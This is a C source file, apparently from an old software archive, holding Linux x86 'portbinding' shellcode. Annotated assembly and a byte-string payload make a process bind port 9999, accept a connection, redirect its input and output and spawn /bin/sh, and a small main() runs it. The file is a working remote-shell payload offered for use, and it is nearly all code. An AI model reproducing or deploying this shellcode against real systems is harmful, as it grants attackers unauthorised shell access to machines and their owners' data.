home *** CD-ROM | disk | FTP | other *** search
- /*
- .file "bind"
- .version "01.01"
- .text
- .align 4
- .globl main
- .type main,@function
- _start:
- #socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
- movl %esp,%ebp
- xorl %edx,%edx
- movb $102,%edx
- movl %edx,%eax # 102 = socketcall
- xorl %ecx,%ecx
- movl %ecx,%ebx
- incl %ebx # socket()
- movl %ebx, -8(%ebp) # 1 = SOCK_STREAM
- incl %ebx
- movl %ebx, -12(%ebp) # 2 = AF_INET
- decl %ebx # 1 = SYS_socket
- movl %ecx, -4(%ebp) # 0 = IPPROTO_IP
- leal -12(%ebp),%ecx # put args in correct place
- int $0x80 # switch to kernel-mode
- xorl %ecx,%ecx
- movl %eax,-12(%ebp) # save the fd
-
- # bind(fd,(struct sockaddr *)&struct,16);
- incl %ebx
- movw %ebx,-20(%ebp) # 2 = AF_INET & 2 = SYS_bind
- movw $9999,-18(%ebp) # 9999 = htons(3879)
- movl %ecx,-16(%ebp) # 0 = INADDR_ANY
- leal -20(%ebp),%eax # struct sockaddr
- movl %eax,-8(%ebp) # load the struct
- movb $16,-4(%ebp) # 16 = sizeof(struct sockaddr)
- movl %edx,%eax # 102 = socketcall
- leal -12(%ebp),%ecx # puts args in correct place
- int $0x80
-
- # listen(fd,something);
- # fd is at -12(%ebp) = %ecx
- movl %edx,%eax # 102 = socketcall
- incl %ebx # 2 * incl < addl
- incl %ebx # 4 = SYS_listen
- int $0x80
-
- # accept(fd,struct sockaddr,16);
- # struct sockaddr is at -8(%ebp)
- movl %edx,%eax # if you don't know by now, that a gun and shoot yourself
- incl %ebx # 5 = SYS_accept
- # %ecx = -12(%ebp)
- int $0x80
- movl %eax,%ebx # save new fd
-
- # dup2(fd,0)
- xorl %ecx,%ecx
- movb $63,%edx # 63 = dup2()
- movl %edx,%eax
- int $0x80
-
- #dup2(fd,1)
- movl %edx,%eax
- incl %ecx
- int $0x80
-
- # arg[0] = "/bin/sh"
- # arg[1] = 0x0
- # execve(arg[0],arg);
- jmp 0x18
- popl %esi
- movl %esi,0x8(%ebp)
- xorl %eax,%eax
- movb %eax,0x7(%esi)
- movl %eax,0xc(%ebp)
- movb $0xb,%al
- movl %esi,%ebx
- leal 0x8(%ebp),%ecx
- leal 0xc(%ebp),%edx
- int $0x80
- call -0x1d
- .string "/bin/sh"
- */
- #define CODESIZE 129
- /* Optimized the code, now it works better in bad situations */
- #define NAME "portbinding"
- char code[]=
- "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
- "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
- "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
- "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
- "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
- "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
- "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
- "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
- main()
- {
- int (*funct)();
- funct = (int (*)()) code;
- printf("%s shellcode\n\tSize = %d\n",NAME,strlen(code));
- (int)(*funct)();
- }
-